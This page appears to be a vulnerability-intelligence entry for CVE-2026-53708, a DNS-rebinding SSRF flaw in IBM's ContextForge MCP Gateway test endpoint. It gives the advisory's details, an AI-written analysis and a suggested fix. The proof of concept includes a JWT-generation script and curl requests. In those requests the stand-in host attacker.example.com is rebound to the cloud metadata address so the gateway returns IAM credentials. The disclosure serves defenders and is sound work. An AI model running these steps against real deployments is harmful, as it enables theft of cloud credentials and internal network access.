Skip to main content

ContextForge Gateway CVE-2026-53708

MEDIUM
Reliance on Reverse DNS Resolution for a Security-Critical Action (CWE-350)
2026-08-14 https://github.com/IBM/mcp-context-forge GHSA-9hgc-g3w5-67cm
6.6
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.6 MEDIUM
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N
vuln.today AI
6.6 MEDIUM

Requires attacker-controlled DNS with rebinding timing and a database-provisioned high-privilege credential, justifying AC:H and PR:H; cloud IMDS access constitutes a scope change with high confidentiality impact.

3.1 AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 14, 2026 - 20:22 vuln.today
Analysis Generated
Aug 14, 2026 - 20:22 vuln.today

DescriptionGitHub Advisory

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527-1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

  • The validated IP address is never passed to the HTTP client.
  • Only the original hostname is forwarded, triggering a second independent lookup.
  • No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is

implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 - mcpgateway/common/validators.py, lines 1537-1543 (function docstring of validate_gateway_test_url):

> "DNS TOCTOU Limitation: This validation resolves DNS at validation time, but > the HTTP client will re-resolve DNS at connection time. An attacker controlling > DNS can return a public IP during validation and a private IP during connection > (DNS rebinding). True mitigation requires pinning the validated IP into the > connection (custom resolver/transport, or IP allowlist check at connect > callback). This is tracked as a known limitation for future improvement."

Location 2 - mcpgateway/admin.py, lines 14025-14029 (call site comment):

> "TODO(ICACF-15): DNS rebinding risk - allowlist and SSRF checks resolve DNS, > but the actual ResilientHttpClient request resolves DNS a third time. An > attacker-controlled DNS server could return a public IP during validation and a > private IP during the actual request. Consider pinning the resolved IP for > outbound requests (custom transport) or caching DNS resolution across > validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

  1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly

enabled by an operator).

  1. The attacker holds a credential with explicit gateways.read permission

assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) - a virtual identity with no database record - is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

bash
cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 - Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

python
import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"
# must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")
bash
TOKEN=$(python3 /tmp/gen_token.py)

Step 2 - Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

bash
curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 - "Invalid gateway URL"

Step 3 - DNS rebinding attack

  1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
  2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
  3. Submit the request:
bash
curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'
  1. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4;

all SSRF checks pass.

  1. Attacker immediately flips the DNS record:

attacker.example.com → 169.254.169.254.

  1. httpx independently re-resolves the hostname and connects to

169.254.169.254.

  1. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

AnalysisAI

SSRF protection in IBM ContextForge MCP Gateway (mcp-contextforge-gateway) is bypassable via DNS rebinding against the /admin/gateways/test endpoint, allowing an attacker with a database-backed gateways.read role to reach cloud instance metadata services (including 169.254.169.254) and internal network resources. The root cause is a TOCTOU race between the hostname validation step - which resolves DNS via socket.getaddrinfo() and checks the result against blocked private ranges - and the httpx-based HTTP client's fully independent DNS re-resolution at connection time, with no IP-pinning or validated-address forwarding bridging the two operations. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Install
technique details hidden
C2
technique details hidden
Execute
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Two explicit prerequisites are required. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-assigned CVSS 6.6 (AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N) accurately reflects real-world exploitation difficulty: AC:H captures the DNS rebinding timing requirement (attacker must control a DNS server, set a 1-second TTL, and flip the record within the window between validation and connection), and PR:H captures the mandatory database-backed `gateways.read` role with no admin bypass permitted. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation The primary remediation is to upgrade `mcp-contextforge-gateway` to version 1.0.3 or later, which closes the TOCTOU gap tracked as TODO ICACF-15; release details are at https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3 and the advisory at https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-53708 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy